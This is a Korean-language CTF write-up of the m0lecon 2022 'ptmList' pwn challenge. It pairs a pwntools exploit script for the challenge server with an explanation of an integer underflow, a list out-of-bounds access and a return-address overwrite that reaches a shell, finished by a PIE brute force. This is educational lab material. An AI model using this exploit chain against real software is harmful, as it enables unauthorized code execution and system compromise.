[CTF write up] m0lecon CTF 2022 - ptmList : Intager Overflow and List OOB

2022. 5. 15. 02:41CTF write up

from pwn import *

def up():
    p.send(b'w')

def down():
    p.send(b's')

def go():
    p.send(b'\n')

def esc():
    p.send(b'\x1b')

def drop():
    p.send(b'd')

def move():
    p.send(b'm')

def exploit():
    go();
    for i in range(0,231):
        down();
    go(); down(); go(); esc();

    go(); down(); go(); down(); go(); esc();
    go(); down(); go(); down(); go(); esc();

    down(); down(); go(); go(); # secret gift

    down(); go(); drop(); go(); drop(); go(); drop(); go();
    down(); move(); down(); go(); esc();

    down(); go(); drop(); down();
    for i in range(0,42):
        down();
    go(); esc();

    down(); go(); move();
    for i in range(0,60):
        down();
    go(); esc();

    down(); down(); down(); go();


p = remote('challs.m0lecon.it',8273)
#p = process('shoppingList')

exploit()

p.interactive()

 

분석할때 고생을 했지만 풀고나니 생각보다 어려운 문제는 아니었다(..) 익스코드 역시 간단.. 하지만 포너블 문제가 정말 엄청나게 어렵게 나온 m0lecon CTF에서 윈도우 포너블 문제 하나를 제외하면 가장 솔버 수가 적다. 정답률 1% (11/1051)...

 

 

 

 

 

removeItem()

일단 아이템 목록을 지우는 부분에서 조건문이 살짝 이상하다. OR가 아니라 AND이기 때문에 물품의 수량이 255개라면 조건문을 무시하고 mycart_sp의 값을 내릴 수 있다. secret_gift로 물품의 수량을 실행 중 한번 255개로 만들 수 있으므로 해당 취약점을 트리거해 mycart_sp를 최대 0까지 내릴 수 있다. 어떤 조건문 때문에 해당 부분만으로는 0 이하로 내릴 수 없다.

 

 

 

 

 

 

 

swapItems()

좀더 찾아보면 swapItems()에 아이템 목록 순서를 변경하는 것 뿐만아니라 병합 기능까지 있다. 위에서 item 목록을 건들지 않고 mycart_sp를 0으로 만들어주었으므로 item 목록에는 여전히 병합할 수 있는 item들이 존재한다. 그대로 병합해주면 mycart_sp에서 값이 빼지고 unsigned byte이기 때문에 인티저 오버플로우로 255로 값이 바뀐다.

 

 

 

 

 

mycart_sp가 비정상적으로 커지면 해당 부분으로 인해 final_index 역시 커지게 되고 결과적으로 기존 item 목록의 메모리 공간을 넘어서 OOB가 일어난다.

 

바이너리 내부에 쉘을 실행해주는 함수가 있으므로 해당 주소에 맞는 item과 개수를 설정하고 itemswap 기능으로 RET 값과 스왑하면 카나리를 건들지 않고 RET를 오버라이트할 수 있다.

 

메모리 보호 기법 PIE가 걸려있으므로 1/16 Brute Force를 해주면 쉘을 얻을 수 있다.

 

 

flag!